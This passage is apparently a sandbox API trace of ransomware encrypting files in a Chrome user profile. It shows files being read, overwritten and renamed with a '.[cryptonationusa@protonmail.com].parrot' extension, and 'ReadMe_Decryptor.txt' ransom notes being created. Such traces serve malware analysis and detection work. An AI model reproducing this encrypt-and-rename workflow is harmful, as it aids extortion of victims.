data\\default\\data_reduction_proxy_leveldb\\log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5caf80 | out: hHeap=0x5b0000) returned 1 [0048.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cadf8 | out: hHeap=0x5b0000) returned 1 [0048.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d38b0 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cadf8 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0048.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0048.321] GetFileType (hFile=0x278) returned 0x1 [0048.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0048.436] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x141, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.436] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.436] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0048.437] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.437] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x29, lpOverlapped=0x0) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0048.437] GetLastError () returned 0x0 [0048.437] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0048.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x5cce70 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0048.438] WriteFile (in: hFile=0x278, lpBuffer=0x5cce70*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cce70*, lpNumberOfBytesWritten=0x18e604*=0x148, lpOverlapped=0x0) returned 1 [0048.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0048.438] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.438] CloseHandle (hObject=0x278) returned 1 [0048.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d38b0 [0048.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x5caf80 [0048.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0048.439] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5caf80 | out: hHeap=0x5b0000) returned 1 [0048.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cadf8 | out: hHeap=0x5b0000) returned 1 [0048.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0048.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d38b0 [0048.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cadf8 [0048.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0048.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0048.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0048.441] GetFileType (hFile=0x278) returned 0x1 [0048.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0048.451] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad022580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x804795c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0048.451] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cabe0 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacef1a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0048.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0048.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0048.451] lstrcmpW (lpString1="LOG.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5cacd8 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0048.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d3998 [0048.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3998 | out: hHeap=0x5b0000) returned 1 [0048.451] lstrcmpW (lpString1="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cae10 [0048.451] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xacef1a80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xacef1a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.452] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0048.452] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xacef1a80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xacef1a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0048.452] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0048.452] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~3")) returned 1 [0048.452] lstrcmpW (lpString1="Extension Rules", lpString2=".") returned 1 [0048.452] lstrcmpW (lpString1="Extension Rules", lpString2="..") returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x5d1908 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0048.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d37b8 [0048.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5caf68 [0048.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0048.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0048.592] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0048.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0048.592] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0048.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0048.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.592] lstrcmpW (lpString1="000003.log", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0050.440] GetFileSize (in: hFile=0x274, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x156 [0050.441] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26e, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.441] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0050.441] ReadFile (in: hFile=0x274, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0050.442] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.442] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x156, lpOverlapped=0x0) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0050.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0050.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0050.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0050.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0050.442] GetLastError () returned 0x0 [0050.443] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0050.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cb308 [0050.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0050.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3880 [0050.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb308 | out: hHeap=0x5b0000) returned 1 [0050.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da290 [0050.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0050.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2240060 [0050.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da290 | out: hHeap=0x5b0000) returned 1 [0050.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2240248 [0050.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0050.444] WriteFile (in: hFile=0x274, lpBuffer=0x2240248*, nNumberOfBytesToWrite=0x278, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2240248*, lpNumberOfBytesWritten=0x18e604*=0x278, lpOverlapped=0x0) returned 1 [0050.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240248 | out: hHeap=0x5b0000) returned 1 [0050.444] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.444] CloseHandle (hObject=0x274) returned 1 [0050.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0050.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x5d3880 [0050.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0050.446] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension 